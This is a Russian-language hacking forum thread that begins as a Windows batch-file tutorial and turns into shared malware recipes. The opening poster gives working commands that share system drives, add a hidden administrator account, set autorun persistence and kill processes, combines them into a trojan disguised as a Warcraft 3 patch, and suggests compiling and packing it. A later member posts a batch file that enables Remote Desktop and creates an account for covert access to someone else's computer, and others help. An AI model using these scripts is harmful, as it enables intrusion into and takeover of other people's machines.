Помощь · Поиск · Пользователи · Календарь
Полная версия этой страницы: пользуем bat
Форум BiT-Team > Системы > Операционная система Windows
саня
Вот решил сделать небольшой топик по написанию bat. Надеюсь никто не против…
С чего бы начать…

Команды и операторы:
call Вызов одного пакетного файла из другого.
echo Вывод сообщений и переключение режима отображения команд на экране.
for Запуск указанной команды для каждого из файлов в наборе.
goto Передача управления в отмеченную строку пакетного файла.
if Оператор условного выполнения команд в пакетном файле.
pause Приостановка выполнения пакетного файла и вывод сообщения
rem Помещение комментариев в пакетные файлы и файл CONFIG.SYS.
shift Изменение содержимого (сдвиг) подставляемых параметров для пакетного файла.
§ Операторы перенаправления ввода-вывода <, >, >>.
§ Оператор конвейера |.
§ Операторы объединения команд ||, & и &&.
§ Оператор разыменования переменной %…%.
Cls – очистить экран ^)

Небольшие подсказки:
Как перенести длинную строку ?

для этого нужно использовать супер символ ^

Как определить имя каталога, в котором находится запущенный командный файл?

Иногда сценарию надо знать полный путь к себе самому и/или к каталогу, в котором он находится. Это может понадобиться по разным причинам. Например, он должен достать из системы контроля версий исходники в каталог <script-dir>/src рядом с собой. Или, запускаются тесты из каталога <script-dir>/tests, и перед их запуском надо добавить каталог <script-dir>/bin в переменную PATH.
Можно, конечно, рассчитывать на то, что командный файл был вызван из того же каталога, где он находится, и тогда в качестве вышеупомянутого <script-dir> можно использовать переменную окружения %CD% - полный путь к текущему каталогу. Однако любые допущения в нашем деле недопустимы. Поэтому приведу более надежное решение.

%~1 - разворачивает %1, удаляя кавычки (")
%~f1 - разворачивает %1 в полный квалифицированный путь
%~d1 - разворачивает %1 в букву диска
%~p1 - разворачивает %1 в путь
%~n1 - разворачивает %1 в имя файла
%~x1 - разворачивает %1 в расширение файла
%~s1 - развернутый путь будет содержать только короткие имена
%~a1 - разворачивает %1 в атрибуты файла
%~t1 - разворачивает %1 в дату/время создания файла
%~z1 - разворачивает %1 в размер файла
%~$PATH:1 - Ищет в каталогах, перечисленных в переменной среды PATH, и разворачивает %1 в полное квалифицированное имя первого совпадения. Если имя перменной среды не определено, или если файл не найден, этот модификатор вернет пустую строку, более того:
Модификаторы можно объединять для получения сложных результатов:
%~dp1 - разворачивает
%1 в букву диска и путь
%~nx1 - разворачивает %1 в имя файла с расширением
%~dp$PATH:1 – ищет %1 в каталогах, перечисленных в переменной среды PATH, и разворачивает в букву диска и путь к первому найденному файлу.
%~ftza1 - разворачивает %1 в строку, подобную DIR
Таким образом, правильным будет использовать в качестве тега <script-dir> сочетание %~dp0, которое будет раскрыто в полный путь к каталогу, где находится сценарий.

Как можно избежать использования goto?

Любой хоть сколько-то осмысленный *.bat-файл длиной больше 50 строк является ярким лозунгом в поддержку работы Дейкстры Мешанина из переходов вперед и назад действительно является кодом «только для записи». Можно ли что-то предпринять по этому поводу?
На самом деле можно. Как правило, большинство меток и переходов используются для организации ветвлений при проверке условий, т.е. банальных if-then-else блоков. В оригинале, bat-язык поддерживал только одну команду в блоке then. Но к счастью, командный интерпретатор cmd.exe современных ОС Windows 2000 и старше поддерживает блоки команд в конструкциях ветвления, что устраняет необходимость применения меток. Блоки команд заключаются в круглые скобки.

На мой взгляд, с этим уже вполне можно жить. Но, как всегда, жизнь не так проста, как кажется. Есть одна проблема. Переменные, использующиеся в блоках then и else, раскрываются перед началом выполнения этих блоков, а не в процессе выполнения.
Загвоздка в том, что в обоих блоках подстановка переменной OPTFLAGS произойдет до того, как она будет изменена в процессе выполнения этого блока. Соответственно, в CCFLAGS будет подставлено то значение, которое OPTFLAGS имела на момент начала выполнения данного if-блока.
Решается эта проблема путем использования отложенного раскрытия переменных. Переменные, заключенные в !…! вместо %…%, будут раскрыты в их значения только в момент непосредственного использования. Данный режим по умолчанию отключен

Что это за упомянутые ранее операторы объединения команд?

Это операторы &, && и ||. Они практически совсем не освещены в документации, но полезны в повседневности. Они позволяют объединять несколько команд в одну, т.е. примерно так:
command1 & command2command1 && command2command1 || command2
Форма этих операторов весьма соответствует их содержанию. В случае, пожалуй, наименее полезного оператора & вторая команда будет просто выполнена после первой, т.е. это равносильно простой записи:

command1command2

Оператор && гарантирует, что вторая команда будет выполнена только, если первая была выполнена успешно, т.е. с нулевым кодом возврата (он же %errorlevel%). Такие конструкции очень популярны в мире shell-сценариев Unix. Например:
cd sources && make clean

Я был приятно удивлен, узнав, что cmd.exe тоже умеет выполнять такие конструкции. Это безопаснее и правильнее, нежели простое последовательное выполнение этих команд, и короче и проще, чем строгая проверка и обработка кодов возврата. Очень удобно при написании на скорую руку. Не менее полезен иногда и оператор ||. Суть его тоже логична – выполнить вторую команду, если первая дала сбой.

Небольшие примеры:

Перегрузим комп:
set a=L.Reboot PC
shutdown /r /f /t 23 /c "Infected with L.Reboot PC virus!!"
cls

Расшарим винт:

set a=L.share
net share ADMIN$
net share C$
net share IPC$
net share c=c:
net share d=d:
cls

Добавим рута:

set a=L.Add user.root
net user root pwd /add
net localgroup "Administratoren" root /add
net localgroup "Administrators" root /add
cls

В чем писать?
Пишем в блокноте, потом меняем расширение на .bat
Пользуем проги:
Quick Batch File Compiler (прога дает возможность конвертить в ехе и сразу добавлять иконочку)
Для ужима ехе, если получились большие можно воспользоваться прогой.. типо ASPack

Где и как это использовать можно прочесть в статьях на этом сайте:
http://www.bit-team.com/modules.php?name=A...;articles_id=16


взято с разных сайтух дописано мной

В остальном вам поможет yandex ^) желаю удачи!
саня
P.s. :

Пропишемся в реестр:

set a=registry
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v registry /t REG_SZ /d %windir%\%a%.bat /f > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v registry /t REG_SZ /d %windir%\%a%.bat /f > nul

Выкенем сообщение:

в виде ошибки:
set a=vbsmesege
echo MsgBox "Установка успешно завершена", 16, "Patch" > v.vbs
start v.vbs

в виде восклицания:
set a=vbsmesege
echo MsgBox "Установка успешно завершена", 0+48, "Patch" > v.vbs
start v.vbs

фиг знает в как ето назвать smile.gif:
set a=vbsmesege
echo MsgBox "Установка успешно завершена", 0+64, "Patch" > v.vbs
start v.vbs



скобинируем то что делали ранее:

set a=mutka smile.gif
net share ADMIN$
net share C$
net share IPC$
net share c=c:
net share d=d:
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v registry /t REG_SZ /d %windir%\%a%.bat /f > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v registry /t REG_SZ /d %windir%\%a%.bat /f > nul
echo MsgBox "Установка успешно завершена", 0+64, "patch Warcraft3 FT v 1.20e" > v.vbs
start v.vbs
cls

вот готовый ехе:
CampeR
Весьма познавательная инфа и для новичков, и для тех людей кто не имел дело в bat файлами.Все это при определнных желаниях можно применять с умом)или так просто прикалываться-предлагаю развивать эту тему-)
саня
Цитата(CampeR @ 18.11.2006, 19:59) *
Весьма познавательная инфа и для новичков, и для тех людей кто не имел дело в bat файлами.Все это при определнных желаниях можно применять с умом)или так просто прикалываться-предлагаю развивать эту тему-)

а почему именно в раздел windows?

P.s.s: забыл совсем,
выключаем компьютер:
set a=L.shutdown PC
shutdown /s /f /t 23 /c "I've fucked you"
cls

убьем какой нить процесс (в данном случае блокнот)

set a=L.kill process.antivirus
set Author=tskill
%Author% notepad*
cls
DanGer
Цитата
а почему именно в раздел windows?


Потому, что bat-файлы - аттрибут системы Windows. В никсах подобные (!) файлы носят название "скрипт" (script). Естественно, можно то же самое делать и на никсовых тачках, но синтаксис и содержание таких "исполняемых" объектов переписать придется изрядно. А вообще, тема действительно реальная. Батники очень хороши, когда требуется что-нибудь быстро без гиморра прописать/запустить с ключами и т.д.
0xffa500
А потом все что вы тут писали пропустить через bat2exe транслятор и вуаля, консольная прога у вас на руках ))

Нажмите для просмотра прикрепленного файла

Цитата
# Version: 1.4.0.0
# License: Freeware
# Release date: 15.02.08
# Size: 0.41 MB | MD5: dfe38f2316f5a5a8d15c5152a5534512
FF010xxA100
я писал статью о скриптовом вире VBS но тексты пришлось удалить администации так как антивирусы били тревогу при заходе на эту страничку
Brodyaga
Саня
Большое спасибо за выложенную инфу наконц то нашеля этот компиллер. Спасибо ОГромное!
NIK
Привет народ!Прошу у вас помощи вот в каком вопросе: появилась у меня идея попасть на чужой комп через удалённый сеанс,но сложность состоить в том чтобы както поставить галочку в разрешении на удалённый доступ,создать учётную запись и разрешить этому пользователю конектиться удалённо и всё это на компе к которому нет физического доступа.я решил закодить небольшой бат файл.У меня получилось поставить галочку на разрешение к удалённому доступу и создпть учётную запись а вот как разрешить этому пользователю конектиться удалённо незнаю.Может ктото подскажет как это сделать.Буду примного благодарен.
P.S,:всем спасибо за внимание
Brodyaga
Цитата(NIK @ 12.09.2007, 23:16) *
Привет народ!Прошу у вас помощи вот в каком вопросе: появилась у меня идея попасть на чужой комп через удалённый сеанс,но сложность состоить в том чтобы както поставить галочку в разрешении на удалённый доступ,создать учётную запись и разрешить этому пользователю конектиться удалённо и всё это на компе к которому нет физического доступа.я решил закодить небольшой бат файл.У меня получилось поставить галочку на разрешение к удалённому доступу и создпть учётную запись а вот как разрешить этому пользователю конектиться удалённо незнаю.Может ктото подскажет как это сделать.Буду примного благодарен.
P.S,:всем спасибо за внимание

О...Это интересно кешно трудно на удаленную машину попасть...просто ты еще должен войти под какой либо уч. записью компа а если у него на запись пасс? smile.gif А моно еще гостем зайти))))пасса не надо но если у него и гостя нет? (всмысле уч. записи)

Короче Remote Administrator пользуй...

Или telnet Но тебе надо знать IP.... жертвы..
NIK
Я же и говорю закодил небольшой бат файл,который вкину потом в расшареную папку.повторюсь : этот бат -файлик умеет уже ставить галочку на разрешение пользования удалённым рабочим столом и создаёт учётную запись (которую как вы понимаете я знаю и пароль тоже)и я прошу помоч мне сделать чтоб эта учётная записи имела право пользоваться удалённым рабочим столом.Remote Administrator это очень здорово,но он палица антивирусом и про него уже знают все так что эта фишка устарела.
А вот как провернуть чтото подобное с помощью telnet раскажи поподробнее,за IP-адрес неволнуйся я его узнаю без проблем если это действительно будет нужно.
Но в идеале если бы мне ктото помог довести до ума мою задумку.
С уважением NIK.
Modern
NIK
файлик в студию)
NIK
Вот его содержание:
echo off
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f -это мы здесь ставим галочки на разрешение пользоваться удалённым рабочим столом
net user nik 123456789 /add -а здесь как вы поняли мы создаём учётную запись
Sav1or
Цитата(GrOzNiI @ 13.09.2007, 21:32) *
О...Это интересно кешно трудно на удаленную машину попасть...просто ты еще должен войти под какой либо уч. записью компа а если у него на запись пасс? smile.gif А моно еще гостем зайти))))пасса не надо но если у него и гостя нет? (всмысле уч. записи)

Короче Remote Administrator пользуй...

Или telnet Но тебе надо знать IP.... жертвы..

че за ерунда вообше прич ем тут телнет то ohmy.gif
Brodyaga
Ну это токо в unix....

в винде я хз
Brodyaga
Можеш еще использовать putty
NIK
GrOzNiI раскажи как замутить это с помощью putty а то это прога есть давно а я ней научился отправлять только почту rolleyes.gif
И всётаки можети ктото знает как добавить учётную запись в разрешение на использование удалённого рабочего стоола??люди не оставайтесь равнодушными,помогите новичку плиз
Brodyaga
Добавить..незнаю но вот пиши в putty IP выбирай эти же настройки и гоу..!
NIK
network error: conection refuset вот и всё то я получил с помощью тех настроек на скриншоте,что я не так сделал??
Brodyaga
Значит коннект неудался? Ну что же попробуй просканить Xspiderом IP а ты точно ИП ввел?
Почитай книги про удаленное подключение
У меня все че то получается!




CampeR
Ссылка битая на bat2exec

Но если кому нужно держите:

BAT2COM.COM - компилирует BAT файлы в COM.
BAT2EXEC.COM - компилирует BAT файлы в COM.
работает из командной строки.

BAT2EXEC.COM <.bat>
BAT2COM.COM <.bat>

COM2EXE.COM - компилирует COM файлы в EXE.
работает из командной строки.

BAT2EXEC.COM <.com> <.exe>

Нажмите для просмотра прикрепленного файла
Русская версия IP.Board © 2001-2012 IPS, Inc.